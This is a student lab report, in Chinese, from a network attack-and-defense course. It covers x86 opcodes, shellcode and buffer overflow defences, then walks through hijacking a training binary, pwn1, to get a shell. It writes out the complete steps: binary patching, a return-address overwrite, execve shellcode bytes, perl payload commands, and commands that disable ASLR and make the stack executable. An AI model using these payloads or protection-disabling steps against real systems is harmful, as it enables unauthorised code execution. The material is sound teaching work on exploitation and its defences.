20211912 2021-2022-2 《网络攻防实践》第九周作业
20211912 2021-2022-2 《网络攻防实践》第九周作业
1 知识点梳理与总结
1.1 汇编指令的机器码
-
NOP:NOP指令即空指令,运行该指令时CPU什么都不做,但是会占用一个指令的时间(机器码:90)
-
JNE:条件转移指令,如果不相等则跳转(机器码:75)
-
JE:条件转移指令,如果相等则跳转(机器码:74)
-
JMP:无条件跳转指令,短跳转,只跳转到256字节的范围内(机器码:EB);近跳转,可跳转至同一个段的范围内的地址(机器码:E9);远跳转,可跳转至任意地址,使用48位/32位全指针(机器码:EA)
-
CMP:比较指令,CMP指令执行后,将对标志寄存器产生影响,其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果
1.2 shellcode
-
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名;shellcode常常使用机器语言编写,可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令
-
shellcode可以按照攻击者执行的位置分为本地shellcode和远程shellcode
- 本地shellcode:本地运行的shellcode经常用于利用软件漏洞提升权限,比如在Linux下由普通权限提升至root权限
- 远程shellcode:利用软件漏洞获得特定的shellcode,再经由C或Python编写远程攻击程序,进而取得对方电脑的root权限
1.3 Bof攻击防御技术
-
从防止注入的角度:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生
-
注入了也不让运行:合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行,这样即使是注入的shellcode到堆栈上,也执行不了
-
增加shellcode的构造难度:shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置,这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址;ALSR,地址随机化就是让OS每次都用不同的地址加载应用,这样通过预先反汇编或调试得到的那些地址就都不正确了
-
从管理的角度:加强编码质量,注意边界检测,使用最新的安全的库函数
1.4 实践内容
2 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
-
首先将pwn1复制到虚拟机内,并备份一个命名为pwn2
-
使用objdump -d pwn1命令对pwn1进行反汇编
-
call 8048491是汇编指令,是说这条指令将调用位于地址8048491处的foo函数,其对应机器指令为e8 d7ffffff,e8即跳转之意,当解释e8这条指令时,CPU就会转而执行EIP + d7ffffff这个位置的指令,d7ffffff是补码,80484ba+d7ffffff=80484ba-0x29正好是8048491这个值
-
main函数调用foo函数,对应机器指令为e8 d7ffffff,那我们想让它调用getShell,只要修改d7ffffff为getShell-80484ba对应的补码就行;用Windows计算器,直接47d-4ba就能得到补码c3ffffff
-
由此我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff以实现改变程序执行流程
-
打开我们备份的文件pwn2,显示为乱码,输入:%!xxd将显示模式切换为十六进制模式
-
查找要修改的内容e8d7ffffff,将其修改为c3ffffff,之后使用:%!xxd -r转换十六进制为原格式后保存并退出
-
以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为十六进制模式(:%!xxd)
3.查找要修改的内容(/d7)
4.找到后前后的内容和反汇编的对比下,确认地方是正确的
5.修改d7为c3
6.转换16进制为原格式(:%!xxd -r)
7.存盘退出vi(:wq)
-
使用objdump -d pwn2命令对pwn2进行反汇编,检查call指令是否正确调用getShell
-
运行修改后的代码,会得到shell提示符
3 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
-
首先使用objdump -d pwn1 | more命令对pwn1进行反汇编,了解程序的基本功能;该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞,我们的目标是利用此漏洞覆盖返回地址
-
用gdb调试程序,再使用info r命令查看寄存器的值,发现输入的1234被覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址
-
于是我们将getShell的地址0x0804847d把后面的数值替换,即是输入11111111222222223333333344444444\x7d\x84\x04\x08
-
由于我们没法通过键盘输入\x7d\x84\x04\x08这样的十六进制值,所以先生成包括这样字符串的一个文件;\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键
-
于是我们通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input来生成这样的文件,然后查看input文件的内容是否如预期
-
然后将input的输入,通过管道符|,作为pwn1的输入,会得到shell提示符
4 注入一个自己制作的shellcode并运行这段shellcode
-
shellcode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令
-
这里所使用的shellcode是:==\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80==
-
在root模式下进行准备工作
- 设置堆栈可执行:execstack -s pwn1
- 查询文件的堆栈是否可执行:execstack -q pwn1
- 查看随机化是否关闭,如显示0则已关闭,否则未关闭:more /proc/sys/kernel/randomize_va_space
- 关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space
- 再次检查地址随机化是否关闭:more /proc/sys/kernel/randomize_va_space
-
Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode和nop+shellcode+retaddr
-
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面,简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边;这里的缓冲区足够放shellcode,所以采用nops+shellcode+retaddr,使用perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode命令输出重定向>将perl生成的字符串存储到文件input_shellcode中
-
使用(cat input_shellcode;cat) | ./pwn1命令注入
-
再打开另外一个终端,使用ps -ef | grep pwn1命令找到pwn1的进程号是3534
-
在gdb中使用attach 3534命令调试这个进程,使用disassemble foo命令查看到ret的地址
-
使用break *0x080484ae命令设置断点,再输入c继续运行,同时在之前的终端中按下回车,这时使用info r esp命令查看栈顶指针的地址,使用x/16x 0xffffd16c命令查看其存放内容,可以清楚的看到0x01020304,那么我们就可以得到覆盖到返回地址的地址应该是0xffffd170
-
使用perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode命令修改input_shellcode文件,再使用(cat input_shellcode;cat) | ./pwn1执行,会得到shell提示符
5 学习中遇到的问题及解决
- 问题1:execstack下载失败
- 问题1解决方案:更换软件源进行下载
7 学习感悟、思考
- 本次实践在本科期间做过,所以是一次温习,加深了我对机器指令、BOF攻击、Shellcode注入执行的理解
8 参考资料
- Linux常用命令
- 2019-2020-2 20175334罗昕锐《网络对抗技术》Exp1 PC平台逆向破解
- [网络攻防技术与实践(诸葛建伟编著)]